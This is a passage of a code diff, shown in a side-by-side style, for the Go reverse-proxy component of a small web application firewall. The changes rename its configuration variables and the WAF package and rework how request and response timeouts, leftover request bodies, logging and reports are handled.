"sneak.berlin/go/smallwebwaf/internal/servewaf" "sneak.berlin/go/smallwebwaf/internal/waf"
) )
// flushAfterEachWrite has ReverseProxy pass on each part of the app's answer as // flushAfterEachWrite has ReverseProxy pass on each part of the app's answer as
// soon as it arrives. // soon as it arrives.
const flushAfterEachWrite time.Duration = -1 const flushAfterEachWrite time.Duration = -1
// reportStatusMax is the highest status servewaf takes in a report. An app can // reportStatusMax is the highest status waf takes in a report. An app can
// send a higher one, up to 999, and the visitor gets that as it is. // send a higher one, up to 999, and the visitor gets that as it is.
const reportStatusMax = 599 const reportStatusMax = 599
// plainText is the Content-Type of the answers rproxy gives itself. // plainText is the Content-Type of the answers rproxy gives itself.
const plainText = "text/plain; charset=utf-8" const plainText = "text/plain; charset=utf-8"
// minSendTime is the least time to send an answer rproxy gives itself, or the
// status and headers of the app's answer. A shorter time can run out before the
// first byte is written, on a busy host or as SWW_RPROXY_MAX_RESPONSE_TIME_MS runs out,
// and the visitor then gets a closed connection and no answer.
const minSendTime = 10 * time.Second
// maxBodyReadAfterAnswer is the most of a body left unread that Go's server
// reads once the handler returns, for a visitor without Connection: close.
const maxBodyReadAfterAnswer = 256 << 10
// errResponseTooLate refuses an app's answer that arrives once
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
var errResponseTooLate = errors.New(
"the answer arrived after SWW_RPROXY_MAX_RESPONSE_TIME_MS ran out")
// request is one request on its way through rproxy, from the moment its headers // request is one request on its way through rproxy, from the moment its headers
// have been read to its log line and report. // have been read to its log line and report.
type request struct { type request struct {
@@ -49,14 +64,15 @@ type request struct {
peerTrusted bool peerTrusted bool
start time.Time start time.Time
// disposition is what is done with the request: servewaf's valid disposition, // disposition is what is done with the request: waf's valid disposition,
// or SWRP_DEFAULT_DISPOSITION. It is "" when neither gave one. // or SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither
// gave one.
disposition string disposition string
// answered is true when servewaf gave disposition, which makes a report due, // answered is true when waf gave disposition, which makes a report due,
// and byDefault when SWRP_DEFAULT_DISPOSITION did. // and wafNoAnswer when SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did.
answered bool answered bool
byDefault bool wafNoAnswer bool
// asn and country are servewaf's X-Client-ASN and X-Client-Country, for the // asn and country are waf's X-Client-ASN and X-Client-Country, for the
// app. // app.
asn, country string asn, country string
@@ -72,8 +88,8 @@ type request struct {
upgraded *upgradedConn upgraded *upgradedConn
// mu guards what follows. The time limits run on goroutines of their own, // mu guards what follows. The time limits run on goroutines of their own,
// and the transport starts and stops them, and notes the times below, from // and the transport starts and stops them, and notes requestEnd, from its
// its own; once timersStopped is set, neither time limit acts any more. // own; once timersStopped is set, neither time limit acts any more.
mu sync.Mutex mu sync.Mutex
timersStopped bool timersStopped bool
requestTimer *time.Timer requestTimer *time.Timer
@@ -81,13 +97,14 @@ type request struct {
// requestEnd is when the app had been sent the whole request, or the answer // requestEnd is when the app had been sent the whole request, or the answer
// started, if that was sooner. // started, if that was sooner.
requestEnd time.Time requestEnd time.Time
// answerStarted is when the first byte of the app's answer arrived.
answerStarted time.Time
} }
// newRequest starts handling r: it notes the time, works out the visitor from // newRequest starts handling r: it notes the time, works out the visitor from
// the TCP peer and X-Forwarded-For, and makes the request's id. // the TCP peer and X-Forwarded-For, and makes the request's id.
func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request { func (h *handler) newRequest(
w http.ResponseWriter,
r *http.Request,
) *request {
peer := peerAddress(r) peer := peerAddress(r)
trusted := h.config.TrustedProxies trusted := h.config.TrustedProxies
@@ -97,14 +114,21 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
rc: http.NewResponseController(w), rc: http.NewResponseController(w),
out: &responseWriter{ResponseWriter: w}, out: &responseWriter{ResponseWriter: w},
id: rand.Text(), id: rand.Text(),
client: clientAddress(peer, r.Header.Values("X-Forwarded-For"), trusted), client: clientAddress(
peer,
r.Header.Values("X-Forwarded-For"),
trusted,
),
peer: peer, peer: peer,
peerTrusted: isInside(peer, trusted), peerTrusted: isInside(peer, trusted),
start: time.Now(), start: time.Now(),
} }
if r.Body != http.NoBody { if r.Body != http.NoBody {
rq.body = &requestBody{body: limitBody(r.Body, h.config.MaxRequestSize), rq: rq} rq.body = &requestBody{
body: limitBody(r.Body, h.config.MaxRequestSize),
rq: rq,
}
} }
return rq return rq
@@ -118,18 +142,20 @@ func (rq *request) answerHealth() {
} }
// readFirstPartOfBody reads up to the first 64 KiB of the body into memory, // readFirstPartOfBody reads up to the first 64 KiB of the body into memory,
// within SWRP_MAX_REQUEST_TIME_MS, and reports whether the request goes on. A // within SWW_RPROXY_MAX_REQUEST_TIME_MS, and reports whether the request goes on. A
// visitor too slow to send it is answered 408. For a malformed chunk, or a // visitor too slow to send it is answered 408. For a malformed chunk, or a
// visitor that went away or stopped its sending side, the connection is closed // visitor that went away or stopped its sending side, the connection is closed
// without an answer. A body over SWRP_MAX_REQUEST_SIZE goes on with the part // without an answer. A body over SWW_RPROXY_MAX_REQUEST_SIZE goes on with the part
// read, so that servewaf is asked first; passToApp then refuses it. // read, so that waf is asked first; passToApp then refuses it.
func (rq *request) readFirstPartOfBody() bool { func (rq *request) readFirstPartOfBody() bool {
if rq.body == nil { if rq.body == nil {
return true return true
} }
_ = rq.rc.SetReadDeadline(rq.requestDeadline()) _ = rq.rc.SetReadDeadline(rq.requestDeadline())
held, err := io.ReadAll(io.LimitReader(rq.body, servewaf.QuestionBodyMaxBytes)) held, err := io.ReadAll(
io.LimitReader(rq.body, waf.QuestionBodyMaxBytes),
)
// From here on, the request timer ends a read of the rest of the body, so that // From here on, the request timer ends a read of the rest of the body, so that
// the answer can name the side rproxy was waiting on. // the answer can name the side rproxy was waiting on.
_ = rq.rc.SetReadDeadline(time.Time{}) _ = rq.rc.SetReadDeadline(time.Time{})
@@ -167,7 +193,6 @@ func (rq *request) forward(ctx context.Context) {
rq.cancel = cancel rq.cancel = cancel
ctx = httptrace.WithClientTrace(ctx, &httptrace.ClientTrace{ ctx = httptrace.WithClientTrace(ctx, &httptrace.ClientTrace{
WroteRequest: rq.wroteRequest, WroteRequest: rq.wroteRequest,
GotFirstResponseByte: rq.gotFirstResponseByte,
}) })
out := rq.in.WithContext(ctx) out := rq.in.WithContext(ctx)
@@ -190,9 +215,9 @@ func (rq *request) forward(ctx context.Context) {
} }
// rewrite makes the request the app receives: the visitor's request, unchanged, // rewrite makes the request the app receives: the visitor's request, unchanged,
// sent to SWRP_UPSTREAM_URL, with the forwarded headers and the request's id set, // sent to SWW_RPROXY_UPSTREAM_URL, with the forwarded headers and the request's id set,
// without any X-Client-ASN or X-Client-Country the visitor sent, and with // without any X-Client-ASN or X-Client-Country the visitor sent, and with
// servewaf's. // waf's.
func (rq *request) rewrite(pr *httputil.ProxyRequest) { func (rq *request) rewrite(pr *httputil.ProxyRequest) {
upstream := rq.h.config.UpstreamURL upstream := rq.h.config.UpstreamURL
pr.Out.URL.Scheme = upstream.Scheme pr.Out.URL.Scheme = upstream.Scheme
@@ -237,8 +262,20 @@ func (rq *request) modifyResponse(res *http.Response) error {
return nil return nil
} }
requestEnd := rq.endRequest()
// An answer that arrives once SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out is not
// passed on: the visitor is answered 504.
limit := rq.h.config.MaxResponseTime
if limit > 0 && !time.Now().Before(requestEnd.Add(limit)) {
rq.refuse(http.StatusGatewayTimeout)
return errResponseTooLate
}
maxBytes := rq.h.config.MaxResponseSize maxBytes := rq.h.config.MaxResponseSize
if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes { if maxBytes > 0 && res.Body != http.NoBody &&
res.ContentLength > maxBytes {
rq.refuse(http.StatusBadGateway) rq.refuse(http.StatusBadGateway)
return errResponseTooLarge return errResponseTooLarge
@@ -251,15 +288,25 @@ func (rq *request) modifyResponse(res *http.Response) error {
rq.out.Header()["Content-Type"] = nil rq.out.Header()["Content-Type"] = nil
} }
rq.closeAfterAnswer()
// An answer that arrives before the app has been sent the whole request ends
// the request, and SWW_RPROXY_MAX_RESPONSE_TIME_MS starts.
rq.startResponseTimer(requestEnd)
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq} res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
rq.setResponseDeadline() rq.out.afterStatus = rq.setResponseDeadline
return nil return nil
} }
// answerError is ReverseProxy's ErrorHandler: the request could not be passed to // answerError is ReverseProxy's ErrorHandler: the request could not be passed to
// the app, or the app's answer cannot be passed on. // the app, or the app's answer cannot be passed on.
func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) { func (rq *request) answerError(
_ http.ResponseWriter,
_ *http.Request,
err error,
) {
if rq.upgraded != nil { if rq.upgraded != nil {
// The app switched protocols, but the switch was not passed on, and // The app switched protocols, but the switch was not passed on, and
// ReverseProxy leaves the app's connection open when it refuses it. // ReverseProxy leaves the app's connection open when it refuses it.
@@ -275,7 +322,11 @@ func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error
panic(http.ErrAbortHandler) panic(http.ErrAbortHandler)
} }
rq.h.processLog.Warn("request to the app failed", "error", err.Error()) rq.h.processLog.Warn(
"request to the app failed",
"error",
err.Error(),
)
status = http.StatusBadGateway status = http.StatusBadGateway
} }
@@ -292,8 +343,8 @@ func (rq *request) answer(status int) {
} }
// A visitor found too slow is read no more; any other may go on sending until // A visitor found too slow is read no more; any other may go on sending until
// its time is up, so that Go's server can read the rest of the body and end // its time is up, so that the rest of the body is read and the request ends
// the request cleanly. // cleanly: by Go's server, or by readRestOfBody.
deadline := rq.requestDeadline() deadline := rq.requestDeadline()
if status == http.StatusRequestTimeout { if status == http.StatusRequestTimeout {
deadline = time.Now() deadline = time.Now()
@@ -312,28 +363,39 @@ func (rq *request) answer(status int) {
// handler has returned, after finish has written the log line and sent the report. // handler has returned, after finish has written the log line and sent the report.
// Without Content-Length, the flush would send the body in chunks, the last of // Without Content-Length, the flush would send the body in chunks, the last of
// which would still wait for the handler. A HEAD's answer has no body, so any // which would still wait for the handler. A HEAD's answer has no body, so any
// Content-Length it has stays as servewaf gave it. // Content-Length it has stays as waf gave it.
func (rq *request) send(status int, body []byte) { func (rq *request) send(status int, body []byte) {
if rq.in.Method != http.MethodHead { if rq.in.Method != http.MethodHead {
rq.out.Header().Set("Content-Length", strconv.Itoa(len(body))) rq.out.Header().Set("Content-Length", strconv.Itoa(len(body)))
} }
rq.closeAfterAnswer()
rq.out.WriteHeader(status) rq.out.WriteHeader(status)
_, _ = rq.out.Write(body) _, _ = rq.out.Write(body)
_ = rq.rc.Flush() _ = rq.rc.Flush()
} }
// closeAfterAnswer has Go's server send the answer at once, and close the
// connection after it, when the visitor's body has not arrived whole. Without
// it, Go's server reads up to 256 KiB of the body left before it sends an
// answer, and so waits on a visitor that has stopped sending.
func (rq *request) closeAfterAnswer() {
if rq.body != nil && !rq.body.received.Load() {
rq.out.Header().Set("Connection", "close")
}
}
// prepareOwnAnswer readies the connection for an answer rproxy gives itself: the // prepareOwnAnswer readies the connection for an answer rproxy gives itself: the
// reading of a body that has not arrived whole ends at deadline, and the answer // reading of a body that has not arrived whole ends at deadline, and the answer
// has SWRP_MAX_RESPONSE_TIME_MS from now to reach the visitor, even when the app // has SWW_RPROXY_MAX_RESPONSE_TIME_MS from now to reach the visitor, even when the app
// used that time up first. // used that time up first, and at least minSendTime.
func (rq *request) prepareOwnAnswer(deadline time.Time) { func (rq *request) prepareOwnAnswer(deadline time.Time) {
rq.stopReadingBody(deadline) rq.stopReadingBody(deadline)
rq.endRequest() rq.endRequest()
limit := rq.h.config.MaxResponseTime limit := rq.h.config.MaxResponseTime
if limit > 0 { if limit > 0 {
_ = rq.rc.SetWriteDeadline(time.Now().Add(limit)) _ = rq.rc.SetWriteDeadline(time.Now().Add(max(limit, minSendTime)))
} }
} }
@@ -347,20 +409,37 @@ func (rq *request) refuse(status int) {
} }
} }
// finish ends the request's time limits, writes its log line and, if servewaf // finish ends the request's time limits, writes its log line and, if waf
// answered the question, sends the report. ctx is the request's own context. // answered the question, sends the report. ctx is the request's own context.
func (rq *request) finish(ctx context.Context) { func (rq *request) finish(ctx context.Context) {
rq.stopTimers() rq.stopTimers()
if rq.refused.Load() == 0 { // After a cut-off answer, the reading of a body that has not arrived whole
rq.stopReadingBody(rq.requestDeadline()) // ends now. Go's server would otherwise keep the connection open while it
// reads the rest. modifyResponse sets afterStatus only when it passes the
// app's answer on. Any refusal after that has cut the answer off, since a
// refusal ends the request to the app. Any answer is cut off when the time to
// send it runs out: a flush then fails, and every flush after a failed one
// fails too. ReverseProxy ignores the failure, but panics if it was still
// waiting for more of the app's answer; finish runs either way. Before a
// status, a flush would send a 200; after a 101, ReverseProxy has taken over
// the connection.
switch {
case rq.out.afterStatus != nil && rq.refused.Load() != 0,
rq.out.status != 0 && rq.out.status != http.StatusSwitchingProtocols &&
errors.Is(rq.rc.Flush(), os.ErrDeadlineExceeded):
rq.stopPassingOnBody(time.Now())
case rq.refused.Load() == 0:
rq.stopPassingOnBody(rq.requestDeadline())
} }
requestEnd := rq.endRequest() requestEnd := rq.endRequest()
end := time.Now() end := time.Now()
requestBytes, responseBytes := rq.bytesEachWay() requestBytes, responseBytes := rq.bytesEachWay()
err := requestlog.WriteRProxyLine(rq.h.requestLog, &requestlog.RProxyLine{ err := requestlog.WriteRProxyLine(
rq.h.requestLog,
&requestlog.RProxyLine{
Time: requestlog.FormatTime(rq.start), Time: requestlog.FormatTime(rq.start),
RequestID: rq.id, RequestID: rq.id,
ClientIP: rq.client.String(), ClientIP: rq.client.String(),
@@ -371,28 +450,37 @@ func (rq *request) finish(ctx context.Context) {
Status: rq.out.status, Status: rq.out.status,
RequestBytes: requestBytes, RequestBytes: requestBytes,
ResponseBytes: responseBytes, ResponseBytes: responseBytes,
DurationRequest: requestlog.Milliseconds(requestEnd.Sub(rq.start)), DurationRequestMS: requestlog.Milliseconds(
DurationResponse: requestlog.Milliseconds(end.Sub(requestEnd)), requestEnd.Sub(rq.start),
),
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
Disposition: rq.disposition, Disposition: rq.disposition,
DefaultDisposition: rq.byDefault, WAFBackendNoAnswer: rq.wafNoAnswer,
}) },
)
if err != nil { if err != nil {
rq.h.processLog.Error("writing the request log failed", "error", err.Error()) rq.h.processLog.Error(
"writing the request log failed",
"error",
err.Error(),
)
} }
if !rq.answered { if !rq.answered {
return return
} }
report := &servewaf.Report{ report := &waf.Report{
RequestID: rq.id, RequestID: rq.id,
Status: min(rq.out.status, reportStatusMax), Status: min(rq.out.status, reportStatusMax),
RequestBytes: requestBytes, RequestBytes: requestBytes,
ResponseBytes: responseBytes, ResponseBytes: responseBytes,
DurationTotal: requestlog.Milliseconds(end.Sub(rq.start)), DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)),
} }
if !rq.upstreamStart.IsZero() { if !rq.upstreamStart.IsZero() {
report.DurationUpstreamTotal = requestlog.Milliseconds(end.Sub(rq.upstreamStart)) report.DurationUpstreamTotalMS = requestlog.Milliseconds(
end.Sub(rq.upstreamStart),
)
} }
rq.h.sendReport(ctx, report) rq.h.sendReport(ctx, report)
@@ -419,7 +507,7 @@ func (rq *request) bytesEachWay() (int64, int64) {
} }
// requestDeadline is when the visitor must have sent its whole request, or zero // requestDeadline is when the visitor must have sent its whole request, or zero
// when SWRP_MAX_REQUEST_TIME_MS is off. // when SWW_RPROXY_MAX_REQUEST_TIME_MS is off.
func (rq *request) requestDeadline() time.Time { func (rq *request) requestDeadline() time.Time {
limit := rq.h.config.MaxRequestTime limit := rq.h.config.MaxRequestTime
if limit == 0 { if limit == 0 {
@@ -440,7 +528,52 @@ func (rq *request) stopReadingBody(deadline time.Time) {
_ = rq.rc.SetReadDeadline(deadline) _ = rq.rc.SetReadDeadline(deadline)
} }
// startRequestTimer starts SWRP_MAX_REQUEST_TIME_MS, which runs from the // readRestOfBody reads up to 256 KiB of the rest of the body once the visitor
// has been answered with a Content-Length, until the read deadline already set on
// the connection. It does this only for a body with a declared length from a
// visitor that sent Connection: close, because Go's server reads none of that
// rest. Without the read, the visitor, still sending, gets a reset and may never
// read the answer. Go's server ends an answer without a Content-Length only once
// the handler returns, so reading first would hold back the end of that answer.
// Past 256 KiB, the MaxBytesReader made with Go's own ResponseWriter has Go's
// server tell the visitor it sends no more, then wait 500 ms before it closes
// the connection.
func (rq *request) readRestOfBody() {
if !rq.in.Close || rq.in.ContentLength <= 0 || rq.body.received.Load() ||
rq.out.Header().Get("Content-Length") == "" ||
rq.out.status == http.StatusSwitchingProtocols {
return
}
rest := http.MaxBytesReader(
rq.out.ResponseWriter,
rq.in.Body,
maxBodyReadAfterAnswer,
)
_, _ = io.Copy(io.Discard, rest)
}
// stopPassingOnBody ends the transport's reading of a visitor's body that has
// not arrived whole, and lets Go's server, or readRestOfBody, read the rest until
// deadline. Go's server reads it once the handler returns, but with no deadline
// at all if another read of it is still waiting.
func (rq *request) stopPassingOnBody(deadline time.Time) {
if rq.body == nil || rq.body.received.Load() {
return
}
// A deadline that has passed ends a Read that waits, and the lock waits for
// that Read to return.
_ = rq.rc.SetReadDeadline(time.Now())
rq.body.mu.Lock()
rq.body.stopped = true
rq.body.mu.Unlock()
rq.stopReadingBody(deadline)
}
// startRequestTimer starts SWW_RPROXY_MAX_REQUEST_TIME_MS, which runs from the
// request's headers being read until the app has been sent the whole request. // request's headers being read until the app has been sent the whole request.
func (rq *request) startRequestTimer() { func (rq *request) startRequestTimer() {
deadline := rq.requestDeadline() deadline := rq.requestDeadline()
@@ -451,10 +584,13 @@ func (rq *request) startRequestTimer() {
rq.mu.Lock() rq.mu.Lock()
defer rq.mu.Unlock() defer rq.mu.Unlock()
rq.requestTimer = time.AfterFunc(time.Until(deadline), rq.requestTimedOut) rq.requestTimer = time.AfterFunc(
time.Until(deadline),
rq.requestTimedOut,
)
} }
// requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the // requestTimedOut is called when SWW_RPROXY_MAX_REQUEST_TIME_MS runs out while the
// request is still on its way to the app. The answer names the side rproxy was // request is still on its way to the app. The answer names the side rproxy was
// waiting on at that moment: 408 when it was waiting for the visitor to send more // waiting on at that moment: 408 when it was waiting for the visitor to send more
// of its body, 504 when it was waiting for the app to be reached or to take what // of its body, 504 when it was waiting for the app to be reached or to take what
@@ -468,16 +604,6 @@ func (rq *request) requestTimedOut() {
} }
if rq.body == nil || !rq.body.waiting.Load() { if rq.body == nil || !rq.body.waiting.Load() {
// Once the app has answered, the transport, ReverseProxy and Go's server
// each close the visitor's body, and closing it reads what is left of a
// body under 256 KiB without requestBody.Read, so waiting is false while
// that read waits for the visitor. That read ends now, before refuse:
// should rproxy still answer itself, answer then sets the deadline it
// gives its own answers.
if !rq.answerStarted.IsZero() {
rq.stopReadingBody(time.Now())
}
rq.refuse(http.StatusGatewayTimeout) rq.refuse(http.StatusGatewayTimeout)
return return
@@ -490,17 +616,8 @@ func (rq *request) requestTimedOut() {
_ = rq.rc.SetReadDeadline(time.Now()) _ = rq.rc.SetReadDeadline(time.Now())
} }
// gotFirstResponseByte is called once the first byte of the app's answer has
// arrived.
func (rq *request) gotFirstResponseByte() {
rq.mu.Lock()
defer rq.mu.Unlock()
rq.answerStarted = time.Now()
}
// wroteRequest is called once the app has been sent the whole request: // wroteRequest is called once the app has been sent the whole request:
// SWRP_MAX_REQUEST_TIME_MS ends and SWRP_MAX_RESPONSE_TIME_MS starts. // SWW_RPROXY_MAX_REQUEST_TIME_MS ends and SWW_RPROXY_MAX_RESPONSE_TIME_MS starts.
func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) { func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
if info.Err != nil { if info.Err != nil {
return // the transport gives up, or tries again return // the transport gives up, or tries again
@@ -509,22 +626,32 @@ func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
requestEnd := rq.endRequest() requestEnd := rq.endRequest()
rq.mu.Lock() rq.mu.Lock()
defer rq.mu.Unlock() stopTimer(rq.requestTimer)
rq.mu.Unlock()
if rq.timersStopped { rq.startResponseTimer(requestEnd)
}
// startResponseTimer starts SWW_RPROXY_MAX_RESPONSE_TIME_MS, which runs from
// requestEnd, unless it has started already.
func (rq *request) startResponseTimer(requestEnd time.Time) {
limit := rq.h.config.MaxResponseTime
if limit == 0 {
return return
} }
stopTimer(rq.requestTimer) rq.mu.Lock()
defer rq.mu.Unlock()
if rq.timersStopped || rq.responseTimer != nil {
return
}
limit := rq.h.config.MaxResponseTime
if limit > 0 {
rq.responseTimer = time.AfterFunc(time.Until(requestEnd.Add(limit)), rq.responseTimer = time.AfterFunc(time.Until(requestEnd.Add(limit)),
rq.responseTimedOut) rq.responseTimedOut)
} }
}
// responseTimedOut is called when SWRP_MAX_RESPONSE_TIME_MS runs out before the // responseTimedOut is called when SWW_RPROXY_MAX_RESPONSE_TIME_MS runs out before the
// app has sent its whole answer. // app has sent its whole answer.
func (rq *request) responseTimedOut() { func (rq *request) responseTimedOut() {
rq.mu.Lock() rq.mu.Lock()
@@ -535,30 +662,27 @@ func (rq *request) responseTimedOut() {
} }
} }
// responseReceived is called once the app has sent its whole answer. An app may // responseReceived is called once the app has sent its whole answer.
// answer before the visitor has sent its whole body, as with a 404 it sends
// without reading it. The time limits then run on: until the transport's read of
// the body returns, Go's server cannot send the answer, and
// SWRP_MAX_REQUEST_TIME_MS is what ends that read for a visitor that stops
// sending.
func (rq *request) responseReceived() { func (rq *request) responseReceived() {
if rq.body != nil && !rq.body.received.Load() {
return
}
rq.stopTimers() rq.stopTimers()
} }
// setResponseDeadline sets SWRP_MAX_RESPONSE_TIME_MS on the connection to the // setResponseDeadline sends the status and headers of the app's answer, with
// visitor: the app's answer must reach the visitor within it of the end of the // at least minSendTime, before ReverseProxy reads the answer's body, and then
// request. // the rest has until SWW_RPROXY_MAX_RESPONSE_TIME_MS after the end of the request.
func (rq *request) setResponseDeadline() { func (rq *request) setResponseDeadline() {
requestEnd := rq.endRequest()
limit := rq.h.config.MaxResponseTime limit := rq.h.config.MaxResponseTime
if limit > 0 { if limit == 0 {
_ = rq.rc.SetWriteDeadline(requestEnd.Add(limit)) return
} }
deadline := rq.endRequest().Add(limit)
_ = rq.rc.SetWriteDeadline(
time.Now().Add(max(time.Until(deadline), minSendTime)),
)
_ = rq.rc.Flush()
_ = rq.rc.SetWriteDeadline(deadline)
} }
// endRequest notes now as the end of the request, unless an end is noted, and // endRequest notes now as the end of the request, unless an end is noted, and
Loaded 100 of 195 files, more files were not shown because too many files have changed in this diff. Show more